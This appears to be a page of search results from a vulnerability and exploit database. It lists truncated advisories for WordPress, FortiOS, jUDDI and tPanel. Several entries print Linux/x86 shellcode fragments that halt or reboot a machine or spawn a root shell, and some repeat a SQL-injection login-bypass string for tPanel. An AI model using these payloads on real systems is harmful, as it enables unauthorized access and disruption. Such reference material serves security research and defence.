20944 matches found
WordPress < 2.8.3 'wp-admin' Multiple Security Bypass Vulnerabilities
According to its self-reported version number, the WordPress application running on the remote web server is prior to 2.8.3. It is, therefore, affected by multiple security bypass vulnerabilities. Note that Nessus has not tested for these issues but has instead relied only on the application's...
Linux/x86 - execve(/sbin/halt,/sbin/halt) Shellcode (27 bytes)
include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x66\x68\x6c\x74" // pushw $0x746c "\x68\x6e\x2f\x68\x61" // push $0x61682f6e "\x68\x2f\x73\x62\x69" // push $0x6962732f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx...
Linux/x86 - Disable Shadowing Shellcode (42 bytes)
include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER than push and pop! "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov al,0bh "\x52" //push edx /Termina la cadena con un 0 "\x68\x63\x6f\x6e\x76" //push dword...
Linux/x86 - execve(/sbin/reboot,/sbin/reboot) Shellcode (28 bytes)
include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x62\x6f\x6f\x74" // push $0x746f6f62 "\x68\x6e\x2f\x72\x65" // push $0x65722f6e "\x68\x2f\x73\x62\x69" // push $0x6962732f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // pu...
Linux/x86 - setuid(0) + execve(/bin/sh,0) Shellcode (25 bytes)
include const char shellcode= "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\xcd\x80" // int $0x80 "\xb0\x0b" // mov $0xb,%al So you'll get segfault if it's not able to do the setuid0. If you don't want this you can write "\x6a\x0b\x58" instead of "\xb0\x0b", but the...
CVE-2017-2009
CVE-2017-2009 entry is rejected/not used and does not represent an active vulnerability.
Description of the security update for the Windows information disclosure vulnerability in Windows Server 2008, Windows Embedded POSReady 2009, and Windows Embedded Standard 2009: May 08, 2018
None None...
Fortinet FortiOS < 5.2 / 5.4.x < 5.4.6 / 5.6.x < 5.6.1 SSL / TLS Renegotiation Handshakes MitM Plaintext Data Injection (FG-IR-17-137)
The version of Fortinet FortiOS running on the remote device is 5.2.x or prior, 5.4.x prior to 5.4.6, or 5.6.x prior to 5.6.1. It is, therefore, affected by a MITM vulnerability in SSL Deep-Inspection due to insecure TLS renegotiation. C Tenable Network Security, Inc. include"compat.inc"; if...
FortiOS SSL Deep-Inspection possible Insecure Renegotiation
FortiOS SSL Deep-Inspection may enable insecure renegotiation between TLS clients and servers that support secure renegotiation, opening the door to potential Man-in-the-Middle attacks CVE-2009-3555 against the TLS connection, where an attacker could inject arbitrary data in the connection withou...
Sql injection
Vastal I-Tech Agent Zone aka The Real Estate Script allows SQL Injection in searchCommercial.php via the propertytype, city, or postedby parameter, or searchResidential.php via the propertytype, city, or bedroom parameter, a different vulnerability than CVE-2008-3951, CVE-2009-3497, and...
tPanel 2009 - Authentication Bypass Vulnerability
Exploit for php platform in category web applications Exploit Title: tPanel 2009 - Authentication Bypass Vendor Homepage: http://www.datacomponents.net/ Software Link: http://www.datacomponents.net/products/hosting/tpanel/ Demo: http://demo.datacomponents.net/tpanel/ Version: 2009 Category: Webap...
CVE-2009-1198
Summary (CVE-2009-1198) : An XSS vulnerability exists in Apache jUDDI before 2.0. The flaw allows remote attackers to inject arbitrary web script or HTML via the dsname parameter to the happyjuddi.jsp page. Affected software is Apache jUDDI prior to version 2.0. The vulnerability is browser-execu...
CVE-2009-1197
CVE-2009-1197 concerns Apache jUDDI prior to 2.0, where an error in logging keys via uddiget.jsp can allow an attacker to spoof entries in log files. The affected component is the logging path tied to uddiget.jsp; the underlying issue is log spoofing through error logging of keys. The published d...
CVE-2017-15974
tPanel 2009 allows SQL injection for Authentication Bypass via 'or 1=1 or ''=' to login.php...
Sql injection
tPanel 2009 allows SQL injection for Authentication Bypass via 'or 1=1 or ''=' to login.php...
CVE-2017-15974
tPanel 2009 allows SQL injection for Authentication Bypass via 'or 1=1 or ''=' to login.php...
CVE-2017-15974
The provided documents identify CVE-2017-15974 as a SQL injection vulnerability in tPanel 2009 that enables authentication bypass via strings like 'or 1=1 or ''=' in login.php. Affected component: tPanel 2009 web hosting control panel (login mechanism). Root cause: unsafely constructed SQL in aut...
